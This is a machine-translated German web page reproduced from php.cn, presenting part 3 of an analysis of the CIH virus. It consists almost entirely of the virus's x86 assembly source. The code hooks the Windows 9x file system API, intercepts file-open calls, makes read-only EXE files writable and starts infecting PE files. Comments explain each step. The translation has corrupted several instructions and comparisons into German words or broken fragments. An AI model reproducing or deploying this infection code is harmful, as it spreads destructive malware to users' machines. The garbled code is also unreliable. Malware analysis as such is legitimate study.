Analyse von Beispielen für den Quellcode von Virenprogrammen – CIH-Virus[3]

黄舟
Freigeben: 2023-03-04 21:50:02
Original
1907 Leute haben es durchsucht

jmp ExitRing0Init ;Exit Ring0 level
 
 ;Zusammengeführte Codegröße
 CodeSizeOfMergeVirusCodeSection = offset $
 
 ;Neuer IFSMgr_InstallFileSystemApiHook-Funktionsaufruf
InstallFileSystemApiHook:
push ebx

 call @4
 
 @4:
 pop ebx; Holen Sie sich die Offset-Adresse der aktuellen Anweisung
 add ebx, FileSystemApiHook-@4; Die Differenz plus der Offset ist gleich FileSystemApiHook Offset
 
 push ebx
 int 20h; Rufen Sie Vxd auf, um den Hook zu entfernen, der auf FileSystemApiHook zeigt
IFSMgr_RemoveFileSystemApiHook = $
 dd 00400068h; Verwenden Sie die Register eax, ecx, edx und flags Pop Eax
 
 ;Rufen Sie die ursprüngliche IFSMgr_InstallFileSystemApiHook-Funktion auf, um den FileSystemApiHook-Hook zu verbinden
 push dword ptr [esp+8]
 call OldInstallFileSystemApiHook-@3[ebx]
 
 pop ecx <.> drücken eax
push ebx

call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

mov dr0, eax ;OldFileSystemApiHook-Adresse anpassen

pop eax
pop ebx
 
ret

OldInstallFileSystemApiHook dd;Original InstallFileSystemApiHook-Aufrufadresse

;IFSMgr_FileSystemHook-Aufrufeintrag
FileSystemApiHook:
@3 = FileSystemApiHook
 
push ad ; save register

call @5

@5:
mov esi, offset ; add esi, VirusGameDataStartAddress- @5 ;esi ist der Offset von FileSystemApiHook
;;Die Differenz plus der Offset von VirusGameDataStartAddress ist gleich dem Offset von VirusGameDataStartAddress

;Testen Sie das „Busy“-Flag, und „Busy“ geht an pIFSFunc
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc

; Wenn die Datei nicht geöffnet ist, gehe zu prevhook
lea ebx, [esp+20h+04h +04h] ;ebx ist die Adresse von FunctionNum
 
;Das Aufrufformat des Dateisystem-Hooks ist wie folgt
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
;int ResourceFlags, int CodePage, pioreq pir)
 🎜>; Bestimmen Sie, ob dieser Aufruf eine Datei öffnen soll. Wenn nicht, springen Sie zum vorherigen Datei-Hook
cmp dword ptr [ebx], 00000024h
jne prevhook

inc byte ptr (OnBusy -@6)[esi] ; OnBusy aktivieren ;Setzen Sie das „Busy“-Flag auf „Busy“
 
 ;Rufen Sie den durch den Dateipfad angegebenen Laufwerksbuchstaben ab und geben Sie dann den ein Laufwerksname in FileNameBuffer
;Wenn der Laufwerksbuchstabe 03h ist, bedeutet dies, dass das Laufwerk C-Laufwerk ist
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6; esi zeigt auf FileNameBuffer

push esi; save
mov al, [ebx +04h] ;ebx+4 ist die Adresse der Festplattennummer
 
;; Ist es eine UNC-Adresse (Universal Naming Conventions)? Wenn ja, transfer to CallUniToBCSPath
cmp al, 0ffh
je CallUniToBCSPath

Add al, 40h
mov ah, ':'

mov [esi], eax ; in die Form „X:“ verarbeitet, d. h. nach dem Laufwerksbuchstaben einen Doppelpunkt hinzufügen

inc esi
inc esi

; call method
; UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
; unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;Zeichensatz
push FileNameBufferSize ;Zeichenlänge
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
eax hinzufügen, 04h
push eax ; Uni-Zeichen erste Adresse
push esi ; BCS-Zeichen erste Adresse
int 20h ; Call UniToBCSPath
UniToBCSPath = $
dd 00400041h Call id
add esp, 04h*04h
 
 ;Bestimmen Sie, ob die Datei eine EXE-Datei ist
 cmp [esi+ eax-04h], „EXE.“ ], 'KCUF'
 jne DisableOnBusy
 
 ENDIF
 
 ;Beurteilungsdatei Ob vorhanden, wenn nicht, gehen Sie zu DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy

; Holen Sie sich die Dateiattribute
mov ax, 4300h
int 20h; Rufen Sie IFSMgr_Ring0_FileIO = $
dd 00400032h auf; 🎜 >
jc DisableOnBusy
push ecx

; IFSMgr_Ring0_FileIO-Adresse abrufen
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; Stellen Sie fest, ob die Datei schreibgeschützt ist. Wenn ja, ändern Sie die Dateiattribute. Andernfalls gehen Sie zu OpenFile
test cl, 01h
jz OpenFile

mov ax, 4301h
xor ecx, ecx
call edi ;Rufen Sie die Funktion von IFSMgr_Ring0_FileIO auf, um die Dateiattribute zu ändern, um die Datei beschreibbar zu machen
 
;Öffnen Sie die Datei
OpenFile:
;Dateiattribute
  xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi ist die erste Adresse des Dateinamens
call edi ;Rufen Sie die Funktion von IFSMgr_Ring0_FileIO auf, um die Datei zu öffnen

xchg ebx, eax ;Speichern Sie das Dateihandle in ebx
test cl, 01h
jz IsOpenFileOK

;Dateiattribute wiederherstellen
mov ax, 4301h
call edi;Dateiattribute wiederherstellen

;Ob die Datei erfolgreich geöffnet wurde, wenn nicht, dann wenden Sie sich an DisableOnBusy
IsOpenFileOK:
popf
jc DisableOnBusy

; Die Datei wurde erfolgreich geöffnet
push esi; Push die erste Adresse des Dateinamen-Datenbereichs auf den Stapel

pushf ;CF = 0, Flag speichern
 
 add esi, DataBuffer-@7;
 
 ;Den Offset des neuen Dateiheaders abrufen
xor eax, eax
 mov ah, 0d6h;Die Lesedatei-Funktionsnummer (R0_READFILE) von IFSMgr_Ring0_FileIO
 
 ;Um Minimieren Sie die Länge des Virencodes, speichern Sie eax in ebp
 mov ebp, eax
 
Push 00000004h ; Lesen Sie 4 Bytes
pop ecx
push 0000003ch ; Lesen Sie den Windows-Datei-Header-Offset unter DOS Datei-Header-Offset 3ch
pop edx
call edi ; Read File to esi
 
mov edx, [esi] ; Windows-Datei-Header-Offset zu edx

; infizierte Markierung des Grafikdatei-Headers
dec edx
mov eax, ebp ; Funktionsnummer
; Datei nach esi lesen

; bestimmen Sie, ob es sich um PE handelt ob es infiziert wurde
; Bestimmen Sie, ob es sich um eine selbstextrahierende WinZip-Datei handelt. Wenn ja, wird sie nicht mit Self-Extractor infiziert *
 cmp dword ptr [esi], 00455000h; PE-Datei (Markierung „PE/0/0“)
 jne CloseFile; Wenn nicht, schließen Sie die Datei
 
 ;Wenn es sich um eine PE-Datei handelt und sie nicht infiziert ist, beginnen Sie mit der Infektion der Datei
push ebx;Datei-Handle speichern
 push 00h
 
 ;Virusinfektionsflagge setzen
 push 01h ; Markieren Sie die Größe
push edx ; zeigt auf PE-Datei-Header-Offset 00h
push edi ; edi ist die Adresse von IFSMgr_Ring0_FileIO

mov dr1, esp ; save esp

; Set NewAddressOfEntryPoint Entry

; Read file header
mov eax, ebp
mov cl, SizeOfImageHeaderToRead ; Um 2 Bytes zu lesen
edx hinzufügen, 07h ;PE-Dateiheader +07h Für NumberOfSections (Anzahl der Blöcke)
rufen Sie edi auf; lesen Sie NumberOfSections (Anzahl der Blöcke) zu esi

lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; file pointer
 
 lea eax, (NewAddressOfEntryPoint-@8)[esi]
 push eax;
 
 ;Setzen Sie den Wert von edx an den Anfang der Dateivirus-Codeblocktabelle
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+ 12h] ; edx ist der Offset der Virencode-Blocktabelle

; Die Größe von
mov al, SizeOfScetionTable ; Die Größe jedes Blocktabelleneintrags

mov cl, (NumberOfSections-@8)[esi]

mul cl ; Die Multiplikation jedes Blocktabelleneintrags Die Anzahl der Blöcke entspricht der Größe der Blocktabelle
 
; Viruscode-Blocktabelle
lea esi, (StartOfSectionTable-@8)[esi]; zeigt auf die erste Adresse der Blocktabelle (im dynamischen Datenbereich des Virus)

Das Obige ist der Inhalt von Beispielanalyse des Virenprogramm-Quellcodes – CIH-Virus [3]. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.cn)!



Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage